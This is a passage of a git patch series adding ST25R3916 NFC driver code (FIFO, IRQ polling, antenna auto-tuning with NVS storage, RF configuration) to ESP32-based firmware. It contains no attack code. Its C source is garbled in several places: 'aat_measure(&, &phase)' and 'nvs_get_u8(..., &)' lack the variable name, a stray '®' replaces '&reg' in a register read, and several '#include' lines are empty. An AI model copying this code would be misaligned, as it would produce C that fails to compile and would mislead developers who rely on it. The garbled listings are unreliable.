-/* ── Special Commands ── */ -#define CMD_TEST_ACCESS 0xFC +#define CMD_TEST_ACCESS 0xFC -/* ── SPI FIFO Prefixes ── */ #define SPI_FIFO_LOAD 0x80 #define SPI_FIFO_READ 0x9F -/* ── Anti-collision SELECT commands (ISO14443-3) ── */ #define SEL_CL1 0x93 #define SEL_CL2 0x95 #define SEL_CL3 0x97 From cc0a0255b92f4997c4f9d6193822aaf4e1c9d06b Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:03:58 -0300 Subject: [PATCH 13/61] feat(st25r3916): add core driver header with init and field control API --- .../st25r3916/include/st25r3916_core.h | 19 +++++-------------- 1 file changed, 5 insertions(+), 14 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h index 31db89e2..a5ad07ed 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_core.h @@ -1,17 +1,7 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_core.h + * @brief ST25R3916 Core init, reset, field, mode. + */ #ifndef ST25R3916_CORE_H #define ST25R3916_CORE_H @@ -28,6 +18,7 @@ bool st25r_field_is_on(void); hb_nfc_err_t st25r_field_cycle(void); hb_nfc_err_t st25r_set_mode_nfca(void); +/** Dump all 64 registers to log. */ void st25r_dump_regs(void); #endif From 1665da16b9342aadd2696dfaad709e3fcc8f8f89 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:04:08 -0300 Subject: [PATCH 14/61] feat(st25r3916): add FIFO control header --- .../st25r3916/include/st25r3916_fifo.h | 35 +++++++++++-------- 1 file changed, 21 insertions(+), 14 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h index 42c21aae..197bc294 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_fifo.h @@ -1,17 +1,7 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_fifo.h + * @brief ST25R3916 FIFO load, read, count, TX byte setup. + */ #ifndef ST25R3916_FIFO_H #define ST25R3916_FIFO_H @@ -19,12 +9,29 @@ #include #include "highboy_nfc_error.h" +/** Get number of bytes currently in FIFO (0-512). */ uint16_t st25r_fifo_count(void); + +/** Clear FIFO via direct command. */ void st25r_fifo_clear(void); + +/** Load data into FIFO for transmission. Max 512 bytes (full FIFO). */ hb_nfc_err_t st25r_fifo_load(const uint8_t* data, size_t len); +/** Read data from FIFO. Max 512 bytes (full FIFO). */ hb_nfc_err_t st25r_fifo_read(uint8_t* data, size_t len); + +/** + * Set TX byte/bit count exact logic from working code: + * REG_NUM_TX_BYTES1 = (nbytes >> 5) & 0xFF + * REG_NUM_TX_BYTES2 = ((nbytes & 0x1F) << 3) | (nbtx_bits & 0x07) + */ void st25r_set_tx_bytes(uint16_t nbytes, uint8_t nbtx_bits); + +/** + * Wait for FIFO to reach min_bytes, polling every 1ms. + * Returns actual count. Sets *final_count if non-NULL. + */ int st25r_fifo_wait(size_t min_bytes, int timeout_ms, uint16_t* final_count); #endif From cd64976df7789be0041ad556f94ae8928234e33f Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:04:19 -0300 Subject: [PATCH 15/61] feat(st25r3916): add FIFO control implementation --- .../Drivers/st25r3916/st25r3916_fifo.c | 34 +++++++++---------- 1 file changed, 16 insertions(+), 18 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c index 6d440ce8..81cd7791 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_fifo.c @@ -1,23 +1,19 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_fifo.c + * @brief ST25R3916 FIFO control and TX byte count setup. + */ #include "st25r3916_fifo.h" #include "st25r3916_reg.h" #include "st25r3916_cmd.h" #include "hb_nfc_spi.h" #include "hb_nfc_timer.h" +/** + * FIFO count: + * lsb = REG_FIFO_STATUS1 + * msb = REG_FIFO_STATUS2 + * count = ((msb & 0xC0) << 2) | lsb (10-bit value, max 512) + */ uint16_t st25r_fifo_count(void) { uint8_t lsb, msb; @@ -28,10 +24,7 @@ uint16_t st25r_fifo_count(void) void st25r_fifo_clear(void) { - /* - write 0x02 - */ - (void)0; + hb_spi_direct_cmd(CMD_CLEAR_FIFO); } hb_nfc_err_t st25r_fifo_load(const uint8_t* data, size_t len) @@ -44,6 +37,11 @@ hb_nfc_err_t st25r_fifo_read(uint8_t* data, size_t len) return hb_spi_fifo_read(data, len); } +/** + * Set TX byte count: + * reg1 = (nbytes >> 5) & 0xFF + * reg2 = ((nbytes & 0x1F) << 3) | (nbtx_bits & 0x07) + */ void st25r_set_tx_bytes(uint16_t nbytes, uint8_t nbtx_bits) { uint8_t reg1 = (uint8_t)((nbytes >> 5) & 0xFF); From 8524afd751d1dc7ae05406f16e3edd01ad954a91 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:04:27 -0300 Subject: [PATCH 16/61] feat(st25r3916): add IRQ handling header --- .../Drivers/st25r3916/include/st25r3916_irq.h | 36 +++++++++---------- 1 file changed, 17 insertions(+), 19 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h index bab31921..b2f90a0f 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_irq.h @@ -1,17 +1,7 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_irq.h + * @brief ST25R3916 IRQ read/clear/log interrupt status. + */ #ifndef ST25R3916_IRQ_H #define ST25R3916_IRQ_H @@ -19,17 +9,25 @@ #include #include "highboy_nfc_error.h" +/** IRQ status snapshot (all 5 registers for target mode support). */ typedef struct { - uint8_t main; /* REG_MAIN_INT (0x1A) */ - uint8_t timer; /* REG_TIMER_NFC_INT (0x1B) */ - uint8_t error; /* REG_ERROR_INT (0x1C) */ - uint8_t target; /* REG_TARGET_INT (0x1D) */ - uint8_t collision; /* REG_COLLISION (0x20) */ + uint8_t main; + uint8_t timer; + uint8_t error; + uint8_t target; + uint8_t collision; } st25r_irq_status_t; +/** Read all IRQ registers (reading clears the flags). */ st25r_irq_status_t st25r_irq_read(void); +/** Log IRQ status with context string. */ void st25r_irq_log(const char* ctx, uint16_t fifo_count); + +/** + * Wait for TX end (bit 3 of MAIN_INT) exact logic from working code: + * Poll every 50us, max 400 iterations = 20ms timeout. + */ bool st25r_irq_wait_txe(void); #endif From b650221ff6e0cfbe198d080fae983154283a4ab1 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:04:35 -0300 Subject: [PATCH 17/61] =?UTF-8?q?feat(st25r3916):=20add=20IRQ=20handling?= =?UTF-8?q?=20with=2010=C2=B5s=20TXE=20polling?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Drivers/st25r3916/st25r3916_irq.c | 58 ++++++++++++------- 1 file changed, 38 insertions(+), 20 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c index a49a1d9f..01087ec9 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_irq.c @@ -1,26 +1,21 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_irq.c + * @brief ST25R3916 interrupt status read and TX-end wait. + */ #include "st25r3916_irq.h" #include "st25r3916_reg.h" #include "hb_nfc_spi.h" +#include "hb_nfc_gpio.h" #include "hb_nfc_timer.h" #include "esp_log.h" static const char* TAG = "st25r_irq"; +/** + * Read IRQ status. Reading clears the flags. + * Order: ERROR, TIMER, MAIN, TARGET, COLLISION. + */ st25r_irq_status_t st25r_irq_read(void) { st25r_irq_status_t s = { 0 }; @@ -35,17 +30,40 @@ st25r_irq_status_t st25r_irq_read(void) void st25r_irq_log(const char* ctx, uint16_t fifo_count) { st25r_irq_status_t s = st25r_irq_read(); - ESP_LOGW(TAG, " %s IRQ: MAIN=0x%02X ERR=0x%02X TMR=0x%02X TGT=0x%02X COL=0x%02X FIFO=%u", + ESP_LOGW(TAG, "%s IRQ: MAIN=0x%02X ERR=0x%02X TMR=0x%02X TGT=0x%02X COL=0x%02X FIFO=%u", ctx, s.main, s.error, s.timer, s.target, s.collision, fifo_count); } bool st25r_irq_wait_txe(void) { - for (int i = 0; i < 400; i++) { - uint8_t irq; - hb_spi_reg_read(REG_MAIN_INT, &irq); - if (irq & IRQ_MAIN_TXE) return true; - hb_delay_us(50); + /* Poll the physical IRQ pin (not the register). + * + * Reading REG_MAIN_INT in a tight loop clears the register on every + * read, so RXS/RXE IRQs arriving during TX completion would be silently + * consumed and the upper layer would never see them. + * + * Correct approach: wait for the pin to assert, then read all five IRQ + * registers in one pass (st25r_irq_read clears all atomically). + * If the IRQ was caused by something other than TXE (e.g. a field event), + * keep waiting up to 20ms total. + * + * 10 µs poll interval (not 1 ms): in MIFARE Classic emulation, the reader + * responds with {NR}{AR} starting ~87 µs after NT's last bit. With 1 ms + * polls, TXE detection is delayed ~1 ms past the actual event; by then the + * reader's {NR}{AR} has arrived, and by the time we read it the reader has + * timed out waiting for AT and restarted the protocol, clearing the FIFO. + * 10 µs polls detect TXE within ~10 µs, leaving plenty of margin. */ + for (int i = 0; i < 2000; i++) { + if (hb_gpio_irq_level()) { + st25r_irq_status_t s = st25r_irq_read(); + if (s.main & IRQ_MAIN_TXE) return true; + if (s.error) { + ESP_LOGW(TAG, "TX error: ERR=0x%02X", s.error); + return false; + } + /* Some other IRQ (field detect, etc.) — keep waiting. */ + } + hb_delay_us(10); } ESP_LOGW(TAG, "TX timeout"); return false; From 62d627b0cad0d850e896d9dd0c9ac34b55261375 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:04:47 -0300 Subject: [PATCH 18/61] feat(st25r3916): add antenna auto-tuning header --- .../Drivers/st25r3916/include/st25r3916_aat.h | 23 ++++++++----------- 1 file changed, 9 insertions(+), 14 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h index 51e6f95b..c6295870 100644 --- a/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h +++ b/firmware_p4/components/Drivers/st25r3916/include/st25r3916_aat.h @@ -1,17 +1,7 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_aat.h + * @brief ST25R3916 Automatic Antenna Tuning (Phase 4). + */ #ifndef ST25R3916_AAT_H #define ST25R3916_AAT_H @@ -25,8 +15,13 @@ typedef struct { uint8_t phase; } st25r_aat_result_t; +/** Run AAT calibration sweep. */ hb_nfc_err_t st25r_aat_calibrate(st25r_aat_result_t* result); + +/** Load AAT values from NVS cache. */ hb_nfc_err_t st25r_aat_load_nvs(st25r_aat_result_t* result); + +/** Save AAT values to NVS. */ hb_nfc_err_t st25r_aat_save_nvs(const st25r_aat_result_t* result); #endif From 157dd17dfbc76c7ce4e98e66e93ee36bc5fe419f Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:04:55 -0300 Subject: [PATCH 19/61] feat(st25r3916): add AAT calibration with NVS cache --- .../Drivers/st25r3916/st25r3916_aat.c | 148 +++++++++++++++--- 1 file changed, 124 insertions(+), 24 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c index 93c0b542..02991fdf 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_aat.c @@ -1,42 +1,142 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - +/** + * @file st25r3916_aat.c + * @brief ST25R3916 Antenna Auto-Tuning: 2-pass sweep + NVS cache. + */ #include "st25r3916_aat.h" +#include "st25r3916_core.h" +#include "st25r3916_cmd.h" +#include "st25r3916_reg.h" +#include "hb_nfc_spi.h" +#include "hb_nfc_timer.h" #include "esp_log.h" +#include "nvs.h" static const char* TAG = "st25r_aat"; +static hb_nfc_err_t aat_set(uint8_t dac_a, uint8_t dac_b) +{ + hb_nfc_err_t err = hb_spi_reg_write(REG_ANT_TUNE_A, dac_a); + if (err != HB_NFC_OK) return err; + return hb_spi_reg_write(REG_ANT_TUNE_B, dac_b); +} + +static void aat_measure(uint8_t* amp, uint8_t* phase) +{ + hb_spi_direct_cmd(CMD_MEAS_AMPLITUDE); + hb_delay_ms(2); + hb_spi_reg_read(REG_AD_RESULT, amp); + + hb_spi_direct_cmd(CMD_MEAS_PHASE); + hb_delay_ms(2); + hb_spi_reg_read(REG_AD_RESULT, phase); +} + hb_nfc_err_t st25r_aat_calibrate(st25r_aat_result_t* result) { - ESP_LOGW(TAG, "AAT not yet implemented (Phase 4)"); - if (result) { - result->dac_a = 128; - result->dac_b = 128; - result->amplitude = 0; - result->phase = 0; + if (!result) return HB_NFC_ERR_PARAM; + + bool was_on = st25r_field_is_on(); + if (!was_on) { + hb_nfc_err_t err = st25r_field_on(); + if (err != HB_NFC_OK) return err; + } + + uint8_t best_a = 0x80; + uint8_t best_b = 0x80; + uint8_t best_amp = 0; + uint8_t best_phase = 0; + const uint8_t coarse = 16; + + for (uint16_t a = 0; a <= 0xFF; a += coarse) { + for (uint16_t b = 0; b <= 0xFF; b += coarse) { + hb_nfc_err_t err = aat_set((uint8_t)a, (uint8_t)b); + if (err != HB_NFC_OK) return err; + uint8_t amp = 0, phase = 0; + aat_measure(&, &phase); + if (amp > best_amp) { + best_amp = amp; + best_phase = phase; + best_a = (uint8_t)a; + best_b = (uint8_t)b; + } + } } + + const uint8_t fine = 4; + uint8_t start_a = (best_a > coarse) ? (best_a - coarse) : 0; + uint8_t end_a = (best_a + coarse < 0xFF) ? (best_a + coarse) : 0xFF; + uint8_t start_b = (best_b > coarse) ? (best_b - coarse) : 0; + uint8_t end_b = (best_b + coarse < 0xFF) ? (best_b + coarse) : 0xFF; + + for (uint16_t a = start_a; a <= end_a; a += fine) { + for (uint16_t b = start_b; b <= end_b; b += fine) { + hb_nfc_err_t err = aat_set((uint8_t)a, (uint8_t)b); + if (err != HB_NFC_OK) return err; + uint8_t amp = 0, phase = 0; + aat_measure(&, &phase); + if (amp > best_amp) { + best_amp = amp; + best_phase = phase; + best_a = (uint8_t)a; + best_b = (uint8_t)b; + } + } + } + + (void)aat_set(best_a, best_b); + result->dac_a = best_a; + result->dac_b = best_b; + result->amplitude = best_amp; + result->phase = best_phase; + + if (!was_on) { + st25r_field_off(); + } + + ESP_LOGI(TAG, "AAT sweep: A=0x%02X B=0x%02X AMP=%u PH=%u", + result->dac_a, result->dac_b, result->amplitude, result->phase); return HB_NFC_OK; } hb_nfc_err_t st25r_aat_load_nvs(st25r_aat_result_t* result) { - (void)result; - return HB_NFC_ERR_INTERNAL; /* Not implemented */ + if (!result) return HB_NFC_ERR_PARAM; + nvs_handle_t nvs = 0; + esp_err_t err = nvs_open("hb_aat", NVS_READONLY, &nvs); + if (err != ESP_OK) return HB_NFC_ERR_INTERNAL; + + uint8_t a = 0, b = 0, amp = 0, ph = 0; + if (nvs_get_u8(nvs, "dac_a", &a) != ESP_OK || + nvs_get_u8(nvs, "dac_b", &b) != ESP_OK || + nvs_get_u8(nvs, "amp", &) != ESP_OK || + nvs_get_u8(nvs, "phase", &ph) != ESP_OK) { + nvs_close(nvs); + return HB_NFC_ERR_INTERNAL; + } + nvs_close(nvs); + + result->dac_a = a; + result->dac_b = b; + result->amplitude = amp; + result->phase = ph; + return HB_NFC_OK; } hb_nfc_err_t st25r_aat_save_nvs(const st25r_aat_result_t* result) { - (void)result; - return HB_NFC_ERR_INTERNAL; /* Not implemented */ + if (!result) return HB_NFC_ERR_PARAM; + nvs_handle_t nvs = 0; + esp_err_t err = nvs_open("hb_aat", NVS_READWRITE, &nvs); + if (err != ESP_OK) return HB_NFC_ERR_INTERNAL; + + if (nvs_set_u8(nvs, "dac_a", result->dac_a) != ESP_OK || + nvs_set_u8(nvs, "dac_b", result->dac_b) != ESP_OK || + nvs_set_u8(nvs, "amp", result->amplitude) != ESP_OK || + nvs_set_u8(nvs, "phase", result->phase) != ESP_OK) { + nvs_close(nvs); + return HB_NFC_ERR_INTERNAL; + } + err = nvs_commit(nvs); + nvs_close(nvs); + return (err == ESP_OK) ? HB_NFC_OK : HB_NFC_ERR_INTERNAL; } From d836cb1ec0eef1b7f530339f0be880a42f5d3ed0 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:05:51 -0300 Subject: [PATCH 20/61] feat(nfc): add nfc_common shared definitions --- .../nfc/protocols/common/include/nfc_common.h | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h new file mode 100644 index 00000000..021106c6 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_common.h @@ -0,0 +1,17 @@ +/** + * @file nfc_common.h + * @brief Common utilities for the NFC stack. + */ +#ifndef NFC_COMMON_H +#define NFC_COMMON_H + +#include +#include +#include +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" + +/** Log a byte array as hex. */ +void nfc_log_hex(const char* label, const uint8_t* data, size_t len); + +#endif From cb7faee5d2148502bf677d40bb18536491564913 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:06:12 -0300 Subject: [PATCH 21/61] feat(nfc): add RF configuration service --- .../nfc/protocols/common/include/nfc_rf.h | 62 +++++++ .../nfc/protocols/common/nfc_rf.c | 156 ++++++++++++++++++ 2 files changed, 218 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c diff --git a/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h new file mode 100644 index 00000000..f9c24027 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/include/nfc_rf.h @@ -0,0 +1,62 @@ +/** + * @file nfc_rf.h + * @brief RF layer configuration (Phase 2): bitrate, modulation, parity, timing. + */ +#ifndef NFC_RF_H +#define NFC_RF_H + +#include +#include +#include +#include "highboy_nfc_error.h" + +typedef enum { + NFC_RF_TECH_A = 0, + NFC_RF_TECH_B, + NFC_RF_TECH_F, + NFC_RF_TECH_V, +} nfc_rf_tech_t; + +typedef enum { + NFC_RF_BR_106 = 0, + NFC_RF_BR_212, + NFC_RF_BR_424, + NFC_RF_BR_848, + NFC_RF_BR_V_LOW, /* NFC-V low data rate (6.62 kbps RX / 1.65 kbps TX) */ + NFC_RF_BR_V_HIGH, /* NFC-V high data rate (26.48 kbps) */ +} nfc_rf_bitrate_t; + +typedef struct { + nfc_rf_tech_t tech; + nfc_rf_bitrate_t tx_rate; + nfc_rf_bitrate_t rx_rate; + uint8_t am_mod_percent; /* 0 = keep current */ + bool tx_parity; /* ISO14443A: generate parity */ + bool rx_raw_parity; /* ISO14443A: receive parity bits in FIFO (no check) */ + uint32_t guard_time_us; /* optional delay before TX */ + uint32_t fdt_min_us; /* optional minimum FDT */ + bool validate_fdt; /* log warning if FDT < min */ +} nfc_rf_config_t; + +/** Apply RF configuration for a given technology. */ +hb_nfc_err_t nfc_rf_apply(const nfc_rf_config_t* cfg); + +/** Set TX/RX bitrate (A/B/F). */ +hb_nfc_err_t nfc_rf_set_bitrate(nfc_rf_bitrate_t tx, nfc_rf_bitrate_t rx); + +/** Set raw BIT_RATE register (advanced use). */ +hb_nfc_err_t nfc_rf_set_bitrate_raw(uint8_t value); + +/** Set AM modulation index in percent (5..40). */ +hb_nfc_err_t nfc_rf_set_am_modulation(uint8_t percent); + +/** ISO14443A parity control. */ +hb_nfc_err_t nfc_rf_set_parity(bool tx_parity, bool rx_raw_parity); + +/** Configure timing (guard time + FDT validation). */ +void nfc_rf_set_timing(uint32_t guard_time_us, uint32_t fdt_min_us, bool validate_fdt); + +/** Returns last measured FDT in microseconds. */ +uint32_t nfc_rf_get_last_fdt_us(void); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c b/firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c new file mode 100644 index 00000000..3455bda4 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/common/nfc_rf.c @@ -0,0 +1,156 @@ +/** + * @file nfc_rf.c + * @brief RF layer configuration (Phase 2). + */ +#include "nfc_rf.h" + +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "hb_nfc_spi.h" +#include "nfc_poller.h" + +#include "esp_log.h" + +static const char* TAG = "nfc_rf"; + +static uint8_t bitrate_code(nfc_rf_bitrate_t br) +{ + switch (br) { + case NFC_RF_BR_106: return 0x00; + case NFC_RF_BR_212: return 0x01; + case NFC_RF_BR_424: return 0x02; + case NFC_RF_BR_848: return 0x03; + default: return 0xFF; + } +} + +hb_nfc_err_t nfc_rf_set_bitrate(nfc_rf_bitrate_t tx, nfc_rf_bitrate_t rx) +{ + uint8_t txc = bitrate_code(tx); + uint8_t rxc = bitrate_code(rx); + if (txc == 0xFF || rxc == 0xFF) return HB_NFC_ERR_PARAM; + + uint8_t reg = (uint8_t)((txc << 4) | (rxc & 0x03U)); + return hb_spi_reg_write(REG_BIT_RATE, reg); +} + +hb_nfc_err_t nfc_rf_set_bitrate_raw(uint8_t value) +{ + return hb_spi_reg_write(REG_BIT_RATE, value); +} + +static uint8_t am_mod_code_from_percent(uint8_t percent) +{ + static const uint8_t tbl_percent[16] = { + 5, 6, 7, 8, 9, 10, 11, 12, + 13, 14, 15, 17, 19, 22, 26, 40 + }; + + uint8_t best = 0; + uint8_t best_diff = 0xFF; + for (uint8_t i = 0; i < 16; i++) { + uint8_t p = tbl_percent[i]; + uint8_t diff = (p > percent) ? (p - percent) : (percent - p); + if (diff < best_diff) { + best_diff = diff; + best = i; + } + } + return best; +} + +hb_nfc_err_t nfc_rf_set_am_modulation(uint8_t percent) +{ + if (percent == 0) return HB_NFC_OK; /* keep current */ + + uint8_t mod = am_mod_code_from_percent(percent); + uint8_t reg = 0; + if (hb_spi_reg_read(REG_TX_DRIVER, ®) != HB_NFC_OK) return HB_NFC_ERR_INTERNAL; + + reg = (uint8_t)((reg & 0x0FU) | ((mod & 0x0FU) << 4)); + return hb_spi_reg_write(REG_TX_DRIVER, reg); +} + +hb_nfc_err_t nfc_rf_set_parity(bool tx_parity, bool rx_raw_parity) +{ + uint8_t v = 0; + if (hb_spi_reg_read(REG_ISO14443A, &v) != HB_NFC_OK) return HB_NFC_ERR_INTERNAL; + + if (tx_parity) v &= (uint8_t)~ISO14443A_NO_TX_PAR; + else v |= ISO14443A_NO_TX_PAR; + + if (rx_raw_parity) v |= ISO14443A_NO_RX_PAR; + else v &= (uint8_t)~ISO14443A_NO_RX_PAR; + + return hb_spi_reg_write(REG_ISO14443A, v); +} + +void nfc_rf_set_timing(uint32_t guard_time_us, uint32_t fdt_min_us, bool validate_fdt) +{ + nfc_poller_set_timing(guard_time_us, fdt_min_us, validate_fdt); +} + +uint32_t nfc_rf_get_last_fdt_us(void) +{ + return nfc_poller_get_last_fdt_us(); +} + +hb_nfc_err_t nfc_rf_apply(const nfc_rf_config_t* cfg) +{ + if (!cfg) return HB_NFC_ERR_PARAM; + + hb_nfc_err_t err = HB_NFC_OK; + + switch (cfg->tech) { + case NFC_RF_TECH_A: + err = st25r_set_mode_nfca(); + if (err != HB_NFC_OK) return err; + err = nfc_rf_set_bitrate(cfg->tx_rate, cfg->rx_rate); + if (err != HB_NFC_OK) return err; + err = nfc_rf_set_parity(cfg->tx_parity, cfg->rx_raw_parity); + if (err != HB_NFC_OK) return err; + break; + case NFC_RF_TECH_B: + hb_spi_reg_write(REG_MODE, MODE_POLL_NFCB); + hb_spi_reg_write(REG_ISO14443B, 0x00U); + hb_spi_reg_write(REG_ISO14443B_FELICA, 0x00U); + err = nfc_rf_set_bitrate(cfg->tx_rate, cfg->rx_rate); + if (err != HB_NFC_OK) return err; + break; + case NFC_RF_TECH_F: + hb_spi_reg_write(REG_MODE, MODE_POLL_NFCF); + hb_spi_reg_write(REG_ISO14443B_FELICA, 0x00U); + err = nfc_rf_set_bitrate(cfg->tx_rate, cfg->rx_rate); + if (err != HB_NFC_OK) return err; + break; + case NFC_RF_TECH_V: + hb_spi_reg_write(REG_MODE, MODE_POLL_NFCV); + hb_spi_reg_write(REG_ISO14443B, 0x00U); + hb_spi_reg_write(REG_ISO14443B_FELICA, 0x00U); + if (cfg->tx_rate == NFC_RF_BR_V_HIGH && cfg->rx_rate == NFC_RF_BR_V_HIGH) { + err = nfc_rf_set_bitrate_raw(0x00U); /* NFC-V high data rate */ + } else if (cfg->tx_rate == NFC_RF_BR_V_LOW && cfg->rx_rate == NFC_RF_BR_V_LOW) { + err = nfc_rf_set_bitrate_raw(0x01U); /* NFC-V low data rate (best-effort) */ + } else { + err = HB_NFC_ERR_PARAM; + } + if (err != HB_NFC_OK) return err; + break; + default: + return HB_NFC_ERR_PARAM; + } + + if (cfg->am_mod_percent > 0) { + err = nfc_rf_set_am_modulation(cfg->am_mod_percent); + if (err != HB_NFC_OK) return err; + } + + nfc_rf_set_timing(cfg->guard_time_us, cfg->fdt_min_us, cfg->validate_fdt); + + ESP_LOGI(TAG, "RF cfg: tech=%d tx=%d rx=%d am=%u%% guard=%uus fdt=%uus", + (int)cfg->tech, (int)cfg->tx_rate, (int)cfg->rx_rate, + cfg->am_mod_percent, (unsigned)cfg->guard_time_us, + (unsigned)cfg->fdt_min_us); + return HB_NFC_OK; +} From 